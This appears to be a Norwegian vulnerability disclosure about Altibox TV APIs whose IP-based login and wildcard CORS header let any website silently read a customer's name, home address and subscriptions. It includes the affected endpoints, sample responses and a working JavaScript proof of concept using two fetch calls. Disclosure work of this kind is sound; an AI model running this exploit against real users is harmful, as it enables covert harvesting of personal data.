En sikkerhetsfeil hos Altibox gjør at omtrent en halv million kunder står i fare for å få lekket personopplysninger. Kort fortalt kan en hvilken som helst nettside du besøker hente ut fullt navn, hjemmeadresse og hvilke abonnementer du har, uten at du logger inn eller klikker på noe.
Denne demoen vil forsøke å hente navn og hjemmeadresse din fra Altibox sine API-er. Det vil ikke fungere hvis du ikke er på en Altibox-internettforbindelse eller ikke har et TV-abonnement.
API-ene som er berørt
Altibox sin nettbaserte TV-plattform gjenkjenner deg på ditt hjemmenettverk uten å be deg logge inn. Den gjør dette ved å sjekke IP-adressen til forespørselen din opp mot deres oversikt over hvilken kunde som har den IP-adressen. Hvis den stemmer, svarer API-en med blant annet navn på kunden:
GET https://api.services.altibox.net/altibox/api/authentication/authenticate?method=BY_IP_ADDRESS
{
"status": "success",
"data": {
"sessionTicket": { "identifier": "ffffffff-ffff-ffff-ffff-ffffffffffff" },
"user": {
"firstName": "Ola",
"lastName": "Nordmann",
"partnerNumber": 1,
"crmSystem": "R6"
},
"permissionLevel": "AUTH_BY_IP"
}
}
Det alene avslører fornavn og etternavn til hvem som enn spør. Men hvis du tar sessionTicket, kan du bruke den på et annet API-endepunkt som returnerer den faktiske adressen til kunden:
GET https://api.services.altibox.net/altibox/api/customer/servicelocations
Sessionticket: ffffffff-ffff-ffff-ffff-ffffffffffff
{
"status": "success",
"value": [
{
"siteId": 1000001,
"address": {
"city": "Oslo",
"postalcode": "0123",
"streetaddress": "Gatenavn 1",
"dwellingUnitNumber": "H0101"
},
"services": ["TV", "INTERNET"]
}
]
}
Så hvis du kombinerer disse to, får du noens navn, hjemmeadresse og hvilke tjenester de betaler for.
Kan utnyttes av hvilken som helst nettside
Normalt ville ikke dette vært noe problem, fordi nettlesere blokkerer et script på https://evil.example fra å lese svar fra en helt annen nettside som https://api.services.altibox.net. Sånn fungerer same-origin-policyen som standard.
Problemet er at begge de berørte endepunktene alltid svarer med:
Access-Control-Allow-Origin: *
Denne headeren forteller nettleseren at hvem som helst får lov til å lese dette svaret, uavhengig av hvor forespørselen kommer fra. Kombinert med at endepunktet bare trenger IP-adressen din (som hver nettleser sender automatisk), får du en situasjon der en hvilken som helst side på nettet bare kan kjøre en fetch() i bakgrunnen og lese hva som kommer tilbake, så lenge du surfer fra hjemmenettet ditt med Altibox.
Det krever ingen klikk og det er ingen popup, det er altså ingen tegn at vises hvis en nettside henter ut dette.
Proof of concept
Her er alt som trengs for å demonstrere sårbarheten - i praksis bare to forespørsler etter hverandre:
const auth = await fetch(
"https://api.services.altibox.net/altibox/api/authentication/authenticate?method=BY_IP_ADDRESS"
).then(r => r.json());
const locations = await fetch(
"https://api.services.altibox.net/altibox/api/customer/servicelocations",
{ headers: { Sessionticket: auth.data.sessionTicket.identifier } }
).then(r => r.json());
console.log(auth.data.user, locations.value);
Potensielle konsekvenser
- Masseinnsamling. Siden CORS-policyen tillater alle kilder, kan hvilken som helst nettside (eventuelt en annonse, en widget, eller et kompromittert script på en tilfeldig blogg) i det stille skrape navn og adresser fra alle Altibox-abonnenter som laster inn siden.
- Målretet mot enkeltpersoner. Du kan sende noen en lenke, få dem til å åpne den, og umiddelbart vite hvem de er og hvor de bor.
- Omfang. Altibox har en betydelig andel av det norske ISP-markedet, så dette kan realistisk påvirke hundretusenvis av brukere, antageligvis alle med aktivt internett- og TV-abonnement fra Altibox.
Varsling og foreslått løsning
Dette problemet ble meldt i fra til Altibox/Lyse på en ansvarlig måte i januar 2025.
Kjerneproblemen er at Access-Control-Allow-Origin: * headeren sitter på endepunkter som deler ut personopplysninger og bruker IP-basert innlogging.
Løsningen er ganske enkelt: lås den headeren ned til Altibox sine egne domener, som tv.altibox.no og tvbeta.altibox.no, for å forhindre andre nettsider fra å lese svaret.